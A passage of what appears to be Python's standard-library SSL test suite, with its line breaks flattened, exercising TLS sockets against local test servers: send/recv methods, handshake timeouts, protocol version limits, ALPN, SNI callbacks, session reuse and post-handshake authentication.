s.send(b"over\n") if wrapped: conn.close() else: s.close() def test_socketserver(self): """Using socketserver to create and manage SSL connections.""" server = make_https_server(self, certfile=SIGNED_CERTFILE) # try to connect if support.verbose: sys.stdout.write('\n') with open(CERTFILE, 'rb') as f: d1 = f.read() d2 = '' # now fetch the same data from the HTTPS server url = 'https://localhost:%d/%s' % ( server.port, os.path.split(CERTFILE)[1]) context = ssl.create_default_context(cafile=SIGNING_CA) f = urllib.request.urlopen(url, context=context) try: dlen = f.info().get("content-length") if dlen and (int(dlen) > 0): d2 = f.read(int(dlen)) if support.verbose: sys.stdout.write( " client: read %d bytes from remote server '%s'\n" % (len(d2), server)) finally: f.close() self.assertEqual(d1, d2) def test_asyncore_server(self): """Check the example asyncore integration.""" if support.verbose: sys.stdout.write("\n") indata = b"FOO\n" server = AsyncoreEchoServer(CERTFILE) with server: s = test_wrap_socket(socket.socket()) s.connect(('127.0.0.1', server.port)) if support.verbose: sys.stdout.write( " client: sending %r...\n" % indata) s.write(indata) outdata = s.read() if support.verbose: sys.stdout.write(" client: read %r\n" % outdata) if outdata != indata.lower(): self.fail( "bad data <<%r>> (%d) received; expected <<%r>> (%d)\n" % (outdata[:20], len(outdata), indata[:20].lower(), len(indata))) s.write(b"over\n") if support.verbose: sys.stdout.write(" client: closing connection.\n") s.close() if support.verbose: sys.stdout.write(" client: connection closed.\n") def test_recv_send(self): """Test recv(), send() and friends.""" if support.verbose: sys.stdout.write("\n") server = ThreadedEchoServer(CERTFILE, certreqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_SERVER, cacerts=CERTFILE, chatty=True, connectionchatty=False) with server: s = test_wrap_socket(socket.socket(), server_side=False, certfile=CERTFILE, ca_certs=CERTFILE, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_CLIENT) s.connect((HOST, server.port)) # helper methods for standardising recv* method signatures def _recv_into(): b = bytearray(b"\0"*100) count = s.recv_into(b) return b[:count] def _recvfrom_into(): b = bytearray(b"\0"*100) count, addr = s.recvfrom_into(b) return b[:count] # (name, method, expect success?, *args, return value func) send_methods = [ ('send', s.send, True, [], len), ('sendto', s.sendto, False, ["some.address"], len), ('sendall', s.sendall, True, [], lambda x: None), ] # (name, method, whether to expect success, *args) recv_methods = [ ('recv', s.recv, True, []), ('recvfrom', s.recvfrom, False, ["some.address"]), ('recv_into', _recv_into, True, []), ('recvfrom_into', _recvfrom_into, False, []), ] data_prefix = "PREFIX_" for (meth_name, send_meth, expect_success, args, ret_val_meth) in send_methods: indata = (data_prefix + meth_name).encode('ascii') try: ret = send_meth(indata, *args) msg = "sending with {}".format(meth_name) self.assertEqual(ret, ret_val_meth(indata), msg=msg) outdata = s.read() if outdata != indata.lower(): self.fail( "While sending with <<{name:s}>> bad data " "<<{outdata:r}>> ({nout:d}) received; " "expected <<{indata:r}>> ({nin:d})\n".format( name=meth_name, outdata=outdata[:20], nout=len(outdata), indata=indata[:20], nin=len(indata) ) ) except ValueError as e: if expect_success: self.fail( "Failed to send with method <<{name:s}>>; " "expected to succeed.\n".format(name=meth_name) ) if not str(e).startswith(meth_name): self.fail( "Method <<{name:s}>> failed with unexpected " "exception message: {exp:s}\n".format( name=meth_name, exp=e ) ) for meth_name, recv_meth, expect_success, args in recv_methods: indata = (data_prefix + meth_name).encode('ascii') try: s.send(indata) outdata = recv_meth(*args) if outdata != indata.lower(): self.fail( "While receiving with <<{name:s}>> bad data " "<<{outdata:r}>> ({nout:d}) received; " "expected <<{indata:r}>> ({nin:d})\n".format( name=meth_name, outdata=outdata[:20], nout=len(outdata), indata=indata[:20], nin=len(indata) ) ) except ValueError as e: if expect_success: self.fail( "Failed to receive with method <<{name:s}>>; " "expected to succeed.\n".format(name=meth_name) ) if not str(e).startswith(meth_name): self.fail( "Method <<{name:s}>> failed with unexpected " "exception message: {exp:s}\n".format( name=meth_name, exp=e ) ) # consume data s.read() # read(-1, buffer) is supported, even though read(-1) is not data = b"data" s.send(data) buffer = bytearray(len(data)) self.assertEqual(s.read(-1, buffer), len(data)) self.assertEqual(buffer, data) # sendall accepts bytes-like objects if ctypes is not None: ubyte = ctypes.c_ubyte * len(data) byteslike = ubyte.from_buffer_copy(data) s.sendall(byteslike) self.assertEqual(s.read(), data) # Make sure sendmsg et al are disallowed to avoid # inadvertent disclosure of data and/or corruption # of the encrypted data stream self.assertRaises(NotImplementedError, s.dup) self.assertRaises(NotImplementedError, s.sendmsg, [b"data"]) self.assertRaises(NotImplementedError, s.recvmsg, 100) self.assertRaises(NotImplementedError, s.recvmsg_into, [bytearray(100)]) s.write(b"over\n") self.assertRaises(ValueError, s.recv, -1) self.assertRaises(ValueError, s.read, -1) s.close() def test_recv_zero(self): server = ThreadedEchoServer(CERTFILE) server.__enter__() self.addCleanup(server.__exit__, None, None) s = socket.create_connection((HOST, server.port)) self.addCleanup(s.close) s = test_wrap_socket(s, suppress_ragged_eofs=False) self.addCleanup(s.close) # recv/read(0) should return no data s.send(b"data") self.assertEqual(s.recv(0), b"") self.assertEqual(s.read(0), b"") self.assertEqual(s.read(), b"data") # Should not block if the other end sends no data s.setblocking(False) self.assertEqual(s.recv(0), b"") self.assertEqual(s.recv_into(bytearray()), 0) def test_nonblocking_send(self): server = ThreadedEchoServer(CERTFILE, certreqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_SERVER, cacerts=CERTFILE, chatty=True, connectionchatty=False) with server: s = test_wrap_socket(socket.socket(), server_side=False, certfile=CERTFILE, ca_certs=CERTFILE, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLS_CLIENT) s.connect((HOST, server.port)) s.setblocking(False) # If we keep sending data, at some point the buffers # will be full and the call will block buf = bytearray(8192) def fill_buffer(): while True: s.send(buf) self.assertRaises((ssl.SSLWantWriteError, ssl.SSLWantReadError), fill_buffer) # Now read all the output and discard it s.setblocking(True) s.close() def test_handshake_timeout(self): # Issue #5103: SSL handshake must respect the socket timeout server = socket.socket(socket.AF_INET) host = "127.0.0.1" port = support.bind_port(server) started = threading.Event() finish = False def serve(): server.listen() started.set() conns = [] while not finish: r, w, e = select.select([server], [], [], 0.1) if server in r: # Let the socket hang around rather than having # it closed by garbage collection. conns.append(server.accept()[0]) for sock in conns: sock.close() t = threading.Thread(target=serve) t.start() started.wait() try: try: c = socket.socket(socket.AF_INET) c.settimeout(0.2) c.connect((host, port)) # Will attempt handshake and time out self.assertRaisesRegex(socket.timeout, "timed out", test_wrap_socket, c) finally: c.close() try: c = socket.socket(socket.AF_INET) c = test_wrap_socket(c) c.settimeout(0.2) # Will attempt handshake and time out self.assertRaisesRegex(socket.timeout, "timed out", c.connect, (host, port)) finally: c.close() finally: finish = True t.join() server.close() def test_server_accept(self): # Issue #16357: accept() on a SSLSocket created through # SSLContext.wrap_socket(). context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.verify_mode = ssl.CERT_REQUIRED context.load_verify_locations(SIGNING_CA) context.load_cert_chain(SIGNED_CERTFILE) server = socket.socket(socket.AF_INET) host = "127.0.0.1" port = support.bind_port(server) server = context.wrap_socket(server, server_side=True) self.assertTrue(server.server_side) evt = threading.Event() remote = None peer = None def serve(): nonlocal remote, peer server.listen() # Block on the accept and wait on the connection to close. evt.set() remote, peer = server.accept() remote.send(remote.recv(4)) t = threading.Thread(target=serve) t.start() # Client wait until server setup and perform a connect. evt.wait() client = context.wrap_socket(socket.socket()) client.connect((host, port)) client.send(b'data') client.recv() client_addr = client.getsockname() client.close() t.join() remote.close() server.close() # Sanity checks. self.assertIsInstance(remote, ssl.SSLSocket) self.assertEqual(peer, client_addr) def test_getpeercert_enotconn(self): context = ssl.SSLContext(ssl.PROTOCOL_TLS) with context.wrap_socket(socket.socket()) as sock: with self.assertRaises(OSError) as cm: sock.getpeercert() self.assertEqual(cm.exception.errno, errno.ENOTCONN) def test_do_handshake_enotconn(self): context = ssl.SSLContext(ssl.PROTOCOL_TLS) with context.wrap_socket(socket.socket()) as sock: with self.assertRaises(OSError) as cm: sock.do_handshake() self.assertEqual(cm.exception.errno, errno.ENOTCONN) def test_no_shared_ciphers(self): client_context, server_context, hostname = testing_context() # OpenSSL enables all TLS 1.3 ciphers, enforce TLS 1.2 for test client_context.options |= ssl.OP_NO_TLSv1_3 # Force different suites on client and server client_context.set_ciphers("AES128") server_context.set_ciphers("AES256") with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: with self.assertRaises(OSError): s.connect((HOST, server.port)) self.assertIn("no shared cipher", server.conn_errors[0]) def test_version_basic(self): """ Basic tests for SSLSocket.version(). More tests are done in the test_protocol_*() methods. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with ThreadedEchoServer(CERTFILE, ssl_version=ssl.PROTOCOL_TLS_SERVER, chatty=False) as server: with context.wrap_socket(socket.socket()) as s: self.assertIs(s.version(), None) self.assertIs(s._sslobj, None) s.connect((HOST, server.port)) if IS_OPENSSL_1_1_1 and has_tls_version('TLSv1_3'): self.assertEqual(s.version(), 'TLSv1.3') elif ssl.OPENSSL_VERSION_INFO >= (1, 0, 2): self.assertEqual(s.version(), 'TLSv1.2') else: # 0.9.8 to 1.0.1 self.assertIn(s.version(), ('TLSv1', 'TLSv1.2')) self.assertIs(s._sslobj, None) self.assertIs(s.version(), None) @requires_tls_version('TLSv1_3') def test_tls1_3(self): context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.load_cert_chain(CERTFILE) context.options |= ( ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2 ) with ThreadedEchoServer(context=context) as server: with context.wrap_socket(socket.socket()) as s: s.connect((HOST, server.port)) self.assertIn(s.cipher()[0], { 'TLS_AES_256_GCM_SHA384', 'TLS_CHACHA20_POLY1305_SHA256', 'TLS_AES_128_GCM_SHA256', }) self.assertEqual(s.version(), 'TLSv1.3') @requires_minimum_version @requires_tls_version('TLSv1_2') def test_min_max_version_tlsv1_2(self): client_context, server_context, hostname = testing_context() # client TLSv1.0 to 1.2 client_context.minimum_version = ssl.TLSVersion.TLSv1 client_context.maximum_version = ssl.TLSVersion.TLSv1_2 # server only TLSv1.2 server_context.minimum_version = ssl.TLSVersion.TLSv1_2 server_context.maximum_version = ssl.TLSVersion.TLSv1_2 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertEqual(s.version(), 'TLSv1.2') @requires_minimum_version @requires_tls_version('TLSv1_1') def test_min_max_version_tlsv1_1(self): client_context, server_context, hostname = testing_context() # client 1.0 to 1.2, server 1.0 to 1.1 client_context.minimum_version = ssl.TLSVersion.TLSv1 client_context.maximum_version = ssl.TLSVersion.TLSv1_2 server_context.minimum_version = ssl.TLSVersion.TLSv1 server_context.maximum_version = ssl.TLSVersion.TLSv1_1 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertEqual(s.version(), 'TLSv1.1') @requires_minimum_version @requires_tls_version('TLSv1_2') def test_min_max_version_mismatch(self): client_context, server_context, hostname = testing_context() # client 1.0, server 1.2 (mismatch) server_context.maximum_version = ssl.TLSVersion.TLSv1_2 server_context.minimum_version = ssl.TLSVersion.TLSv1_2 client_context.maximum_version = ssl.TLSVersion.TLSv1 client_context.minimum_version = ssl.TLSVersion.TLSv1 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: with self.assertRaises(ssl.SSLError) as e: s.connect((HOST, server.port)) self.assertIn("alert", str(e.exception)) @requires_minimum_version @requires_tls_version('SSLv3') def test_min_max_version_sslv3(self): client_context, server_context, hostname = testing_context() server_context.minimum_version = ssl.TLSVersion.SSLv3 client_context.minimum_version = ssl.TLSVersion.SSLv3 client_context.maximum_version = ssl.TLSVersion.SSLv3 with ThreadedEchoServer(context=server_context) as server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertEqual(s.version(), 'SSLv3') @unittest.skipUnless(ssl.HAS_ECDH, "test requires ECDH-enabled OpenSSL") def test_default_ecdh_curve(self): # Issue #21015: elliptic curve-based Diffie Hellman key exchange # should be enabled by default on SSL contexts. context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.load_cert_chain(CERTFILE) # TLSv1.3 defaults to PFS key agreement and no longer has KEA in # cipher name. context.options |= ssl.OP_NO_TLSv1_3 # Prior to OpenSSL 1.0.0, ECDH ciphers have to be enabled # explicitly using the 'ECCdraft' cipher alias. Otherwise, # our default cipher list should prefer ECDH-based ciphers # automatically. if ssl.OPENSSL_VERSION_INFO < (1, 0, 0): context.set_ciphers("ECCdraft:ECDH") with ThreadedEchoServer(context=context) as server: with context.wrap_socket(socket.socket()) as s: s.connect((HOST, server.port)) self.assertIn("ECDH", s.cipher()[0]) @unittest.skipUnless("tls-unique" in ssl.CHANNEL_BINDING_TYPES, "'tls-unique' channel binding not available") def test_tls_unique_channel_binding(self): """Test tls-unique channel binding.""" if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server = ThreadedEchoServer(context=server_context, chatty=True, connectionchatty=False) with server: with client_context.wrap_socket( socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) # get the data cb_data = s.get_channel_binding("tls-unique") if support.verbose: sys.stdout.write( " got channel binding data: {0!r}\n".format(cb_data)) # check if it is sane self.assertIsNotNone(cb_data) if s.version() == 'TLSv1.3': self.assertEqual(len(cb_data), 48) else: self.assertEqual(len(cb_data), 12) # True for TLSv1 # and compare with the peers version s.write(b"CB tls-unique\n") peer_data_repr = s.read().strip() self.assertEqual(peer_data_repr, repr(cb_data).encode("us-ascii")) # now, again with client_context.wrap_socket( socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) new_cb_data = s.get_channel_binding("tls-unique") if support.verbose: sys.stdout.write( "got another channel binding data: {0!r}\n".format( new_cb_data) ) # is it really unique self.assertNotEqual(cb_data, new_cb_data) self.assertIsNotNone(cb_data) if s.version() == 'TLSv1.3': self.assertEqual(len(cb_data), 48) else: self.assertEqual(len(cb_data), 12) # True for TLSv1 s.write(b"CB tls-unique\n") peer_data_repr = s.read().strip() self.assertEqual(peer_data_repr, repr(new_cb_data).encode("us-ascii")) def test_compression(self): client_context, server_context, hostname = testing_context() stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) if support.verbose: sys.stdout.write(" got compression: {!r}\n".format(stats['compression'])) self.assertIn(stats['compression'], { None, 'ZLIB', 'RLE' }) @unittest.skipUnless(hasattr(ssl, 'OP_NO_COMPRESSION'), "ssl.OP_NO_COMPRESSION needed for this test") def test_compression_disabled(self): client_context, server_context, hostname = testing_context() client_context.options |= ssl.OP_NO_COMPRESSION server_context.options |= ssl.OP_NO_COMPRESSION stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['compression'], None) @unittest.skipIf(Py_DEBUG_WIN32, "Avoid mixing debug/release CRT on Windows") def test_dh_params(self): # Check we can get a connection with ephemeral Diffie-Hellman client_context, server_context, hostname = testing_context() # test scenario needs TLS <= 1.2 client_context.options |= ssl.OP_NO_TLSv1_3 server_context.load_dh_params(DHFILE) server_context.set_ciphers("kEDH") server_context.options |= ssl.OP_NO_TLSv1_3 stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) cipher = stats["cipher"][0] parts = cipher.split("-") if "ADH" not in parts and "EDH" not in parts and "DHE" not in parts: self.fail("Non-DH cipher: " + cipher[0]) @unittest.skipUnless(HAVE_SECP_CURVES, "needs secp384r1 curve support") @unittest.skipIf(IS_OPENSSL_1_1_1, "TODO: Test doesn't work on 1.1.1") def test_ecdh_curve(self): # server secp384r1, client auto client_context, server_context, hostname = testing_context() server_context.set_ecdh_curve("secp384r1") server_context.set_ciphers("ECDHE:!eNULL:!aNULL") server_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) # server auto, client secp384r1 client_context, server_context, hostname = testing_context() client_context.set_ecdh_curve("secp384r1") server_context.set_ciphers("ECDHE:!eNULL:!aNULL") server_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) # server / client curve mismatch client_context, server_context, hostname = testing_context() client_context.set_ecdh_curve("prime256v1") server_context.set_ecdh_curve("secp384r1") server_context.set_ciphers("ECDHE:!eNULL:!aNULL") server_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 try: stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) except ssl.SSLError: pass else: # OpenSSL 1.0.2 does not fail although it should. if IS_OPENSSL_1_1_0: self.fail("mismatch curve did not fail") def test_selected_alpn_protocol(self): # selected_alpn_protocol() is None unless ALPN is used. client_context, server_context, hostname = testing_context() stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['client_alpn_protocol'], None) @unittest.skipUnless(ssl.HAS_ALPN, "ALPN support required") def test_selected_alpn_protocol_if_server_uses_alpn(self): # selected_alpn_protocol() is None unless ALPN is used by the client. client_context, server_context, hostname = testing_context() server_context.set_alpn_protocols(['foo', 'bar']) stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['client_alpn_protocol'], None) @unittest.skipUnless(ssl.HAS_ALPN, "ALPN support needed for this test") def test_alpn_protocols(self): server_protocols = ['foo', 'bar', 'milkshake'] protocol_tests = [ (['foo', 'bar'], 'foo'), (['bar', 'foo'], 'foo'), (['milkshake'], 'milkshake'), (['http/3.0', 'http/4.0'], None) ] for client_protocols, expected in protocol_tests: client_context, server_context, hostname = testing_context() server_context.set_alpn_protocols(server_protocols) client_context.set_alpn_protocols(client_protocols) try: stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) except ssl.SSLError as e: stats = e if (expected is None and IS_OPENSSL_1_1_0 and ssl.OPENSSL_VERSION_INFO < (1, 1, 0, 6)): # OpenSSL 1.1.0 to 1.1.0e raises handshake error self.assertIsInstance(stats, ssl.SSLError) else: msg = "failed trying %s (s) and %s (c).\n" \ "was expecting %s, but got %%s from the %%s" \ % (str(server_protocols), str(client_protocols), str(expected)) client_result = stats['client_alpn_protocol'] self.assertEqual(client_result, expected, msg % (client_result, "client")) server_result = stats['server_alpn_protocols'][-1] \ if len(stats['server_alpn_protocols']) else 'nothing' self.assertEqual(server_result, expected, msg % (server_result, "server")) def test_selected_npn_protocol(self): # selected_npn_protocol() is None unless NPN is used client_context, server_context, hostname = testing_context() stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIs(stats['client_npn_protocol'], None) @unittest.skipUnless(ssl.HAS_NPN, "NPN support needed for this test") def test_npn_protocols(self): server_protocols = ['http/1.1', 'spdy/2'] protocol_tests = [ (['http/1.1', 'spdy/2'], 'http/1.1'), (['spdy/2', 'http/1.1'], 'http/1.1'), (['spdy/2', 'test'], 'spdy/2'), (['abc', 'def'], 'abc') ] for client_protocols, expected in protocol_tests: client_context, server_context, hostname = testing_context() server_context.set_npn_protocols(server_protocols) client_context.set_npn_protocols(client_protocols) stats = server_params_test(client_context, server_context, chatty=True, connectionchatty=True, sni_name=hostname) msg = "failed trying %s (s) and %s (c).\n" \ "was expecting %s, but got %%s from the %%s" \ % (str(server_protocols), str(client_protocols), str(expected)) client_result = stats['client_npn_protocol'] self.assertEqual(client_result, expected, msg % (client_result, "client")) server_result = stats['server_npn_protocols'][-1] \ if len(stats['server_npn_protocols']) else 'nothing' self.assertEqual(server_result, expected, msg % (server_result, "server")) def sni_contexts(self): server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(SIGNED_CERTFILE) other_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) other_context.load_cert_chain(SIGNED_CERTFILE2) client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) return server_context, other_context, client_context def check_common_name(self, stats, name): cert = stats['peercert'] self.assertIn((('commonName', name),), cert['subject']) @needs_sni def test_sni_callback(self): calls = [] server_context, other_context, client_context = self.sni_contexts() client_context.check_hostname = False def servername_cb(ssl_sock, server_name, initial_context): calls.append((server_name, initial_context)) if server_name is not None: ssl_sock.context = other_context server_context.set_servername_callback(servername_cb) stats = server_params_test(client_context, server_context, chatty=True, sni_name='supermessage') # The hostname was fetched properly, and the certificate was # changed for the connection. self.assertEqual(calls, [("supermessage", server_context)]) # CERTFILE4 was selected self.check_common_name(stats, 'fakehostname') calls = [] # The callback is called with server_name=None stats = server_params_test(client_context, server_context, chatty=True, sni_name=None) self.assertEqual(calls, [(None, server_context)]) self.check_common_name(stats, SIGNED_CERTFILE_HOSTNAME) # Check disabling the callback calls = [] server_context.set_servername_callback(None) stats = server_params_test(client_context, server_context, chatty=True, sni_name='notfunny') # Certificate didn't change self.check_common_name(stats, SIGNED_CERTFILE_HOSTNAME) self.assertEqual(calls, []) @needs_sni def test_sni_callback_alert(self): # Returning a TLS alert is reflected to the connecting client server_context, other_context, client_context = self.sni_contexts() def cb_returning_alert(ssl_sock, server_name, initial_context): return ssl.ALERT_DESCRIPTION_ACCESS_DENIED server_context.set_servername_callback(cb_returning_alert) with self.assertRaises(ssl.SSLError) as cm: stats = server_params_test(client_context, server_context, chatty=False, sni_name='supermessage') self.assertEqual(cm.exception.reason, 'TLSV1_ALERT_ACCESS_DENIED') @needs_sni def test_sni_callback_raising(self): # Raising fails the connection with a TLS handshake failure alert. server_context, other_context, client_context = self.sni_contexts() def cb_raising(ssl_sock, server_name, initial_context): 1/0 server_context.set_servername_callback(cb_raising) with support.catch_unraisable_exception() as catch: with self.assertRaises(ssl.SSLError) as cm: stats = server_params_test(client_context, server_context, chatty=False, sni_name='supermessage') self.assertEqual(cm.exception.reason, 'SSLV3_ALERT_HANDSHAKE_FAILURE') self.assertEqual(catch.unraisable.exc_type, ZeroDivisionError) @needs_sni def test_sni_callback_wrong_return_type(self): # Returning the wrong return type terminates the TLS connection # with an internal error alert. server_context, other_context, client_context = self.sni_contexts() def cb_wrong_return_type(ssl_sock, server_name, initial_context): return "foo" server_context.set_servername_callback(cb_wrong_return_type) with support.catch_unraisable_exception() as catch: with self.assertRaises(ssl.SSLError) as cm: stats = server_params_test(client_context, server_context, chatty=False, sni_name='supermessage') self.assertEqual(cm.exception.reason, 'TLSV1_ALERT_INTERNAL_ERROR') self.assertEqual(catch.unraisable.exc_type, TypeError) def test_shared_ciphers(self): client_context, server_context, hostname = testing_context() client_context.set_ciphers("AES128:AES256") server_context.set_ciphers("AES256") expected_algs = [ "AES256", "AES-256", # TLS 1.3 ciphers are always enabled "TLS_CHACHA20", "TLS_AES", ] stats = server_params_test(client_context, server_context, sni_name=hostname) ciphers = stats['server_shared_ciphers'][0] self.assertGreater(len(ciphers), 0) for name, tls_version, bits in ciphers: if not any(alg in name for alg in expected_algs): self.fail(name) def test_read_write_after_close_raises_valuerror(self): client_context, server_context, hostname = testing_context() server = ThreadedEchoServer(context=server_context, chatty=False) with server: s = client_context.wrap_socket(socket.socket(), server_hostname=hostname) s.connect((HOST, server.port)) s.close() self.assertRaises(ValueError, s.read, 1024) self.assertRaises(ValueError, s.write, b'hello') def test_sendfile(self): TEST_DATA = b"x" * 512 with open(support.TESTFN, 'wb') as f: f.write(TEST_DATA) self.addCleanup(support.unlink, support.TESTFN) context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.verify_mode = ssl.CERT_REQUIRED context.load_verify_locations(SIGNING_CA) context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=context, chatty=False) with server: with context.wrap_socket(socket.socket()) as s: s.connect((HOST, server.port)) with open(support.TESTFN, 'rb') as file: s.sendfile(file) self.assertEqual(s.recv(1024), TEST_DATA) def test_session(self): client_context, server_context, hostname = testing_context() # TODO: sessions aren't compatible with TLSv1.3 yet client_context.options |= ssl.OP_NO_TLSv1_3 # first connection without session stats = server_params_test(client_context, server_context, sni_name=hostname) session = stats['session'] self.assertTrue(session.id) self.assertGreater(session.time, 0) self.assertGreater(session.timeout, 0) self.assertTrue(session.has_ticket) if ssl.OPENSSL_VERSION_INFO > (1, 0, 1): self.assertGreater(session.ticket_lifetime_hint, 0) self.assertFalse(stats['session_reused']) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 1) self.assertEqual(sess_stat['hits'], 0) # reuse session stats = server_params_test(client_context, server_context, session=session, sni_name=hostname) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 2) self.assertEqual(sess_stat['hits'], 1) self.assertTrue(stats['session_reused']) session2 = stats['session'] self.assertEqual(session2.id, session.id) self.assertEqual(session2, session) self.assertIsNot(session2, session) self.assertGreaterEqual(session2.time, session.time) self.assertGreaterEqual(session2.timeout, session.timeout) # another one without session stats = server_params_test(client_context, server_context, sni_name=hostname) self.assertFalse(stats['session_reused']) session3 = stats['session'] self.assertNotEqual(session3.id, session.id) self.assertNotEqual(session3, session) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 3) self.assertEqual(sess_stat['hits'], 1) # reuse session again stats = server_params_test(client_context, server_context, session=session, sni_name=hostname) self.assertTrue(stats['session_reused']) session4 = stats['session'] self.assertEqual(session4.id, session.id) self.assertEqual(session4, session) self.assertGreaterEqual(session4.time, session.time) self.assertGreaterEqual(session4.timeout, session.timeout) sess_stat = server_context.session_stats() self.assertEqual(sess_stat['accept'], 4) self.assertEqual(sess_stat['hits'], 2) def test_session_handling(self): client_context, server_context, hostname = testing_context() client_context2, _, _ = testing_context() # TODO: session reuse does not work with TLSv1.3 client_context.options |= ssl.OP_NO_TLSv1_3 client_context2.options |= ssl.OP_NO_TLSv1_3 server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: # session is None before handshake self.assertEqual(s.session, None) self.assertEqual(s.session_reused, None) s.connect((HOST, server.port)) session = s.session self.assertTrue(session) with self.assertRaises(TypeError) as e: s.session = object self.assertEqual(str(e.exception), 'Value is not a SSLSession.') with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) # cannot set session after handshake with self.assertRaises(ValueError) as e: s.session = session self.assertEqual(str(e.exception), 'Cannot set session after handshake.') with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: # can set session before handshake and before the # connection was established s.session = session s.connect((HOST, server.port)) self.assertEqual(s.session.id, session.id) self.assertEqual(s.session, session) self.assertEqual(s.session_reused, True) with client_context2.wrap_socket(socket.socket(), server_hostname=hostname) as s: # cannot re-use session with a different SSLContext with self.assertRaises(ValueError) as e: s.session = session s.connect((HOST, server.port)) self.assertEqual(str(e.exception), 'Session refers to a different SSLContext.') @unittest.skipUnless(has_tls_version('TLSv1_3'), "Test needs TLS 1.3") class TestPostHandshakeAuth(unittest.TestCase): def test_pha_setter(self): protocols = [ ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS_SERVER, ssl.PROTOCOL_TLS_CLIENT ] for protocol in protocols: ctx = ssl.SSLContext(protocol) self.assertEqual(ctx.post_handshake_auth, False) ctx.post_handshake_auth = True self.assertEqual(ctx.post_handshake_auth, True) ctx.verify_mode = ssl.CERT_REQUIRED self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertEqual(ctx.post_handshake_auth, True) ctx.post_handshake_auth = False self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertEqual(ctx.post_handshake_auth, False) ctx.verify_mode = ssl.CERT_OPTIONAL ctx.post_handshake_auth = True self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) self.assertEqual(ctx.post_handshake_auth, True) def test_pha_required(self): client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') # PHA method just returns true when cert is already available s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'GETCERT') cert_text = s.recv(4096).decode('us-ascii') self.assertIn('Python Software Foundation CA', cert_text) def test_pha_required_nocert(self): client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED client_context.post_handshake_auth = True # Ignore expected SSLError in ConnectionHandler of ThreadedEchoServer # (it is only raised sometimes on Windows) with support.catch_threading_exception() as cm: server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'PHA') # receive CertificateRequest self.assertEqual(s.recv(1024), b'OK\n') # send empty Certificate + Finish s.write(b'HASCERT') # receive alert with self.assertRaisesRegex( ssl.SSLError, 'tlsv13 alert certificate required'): s.recv(1024) def test_pha_optional(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED 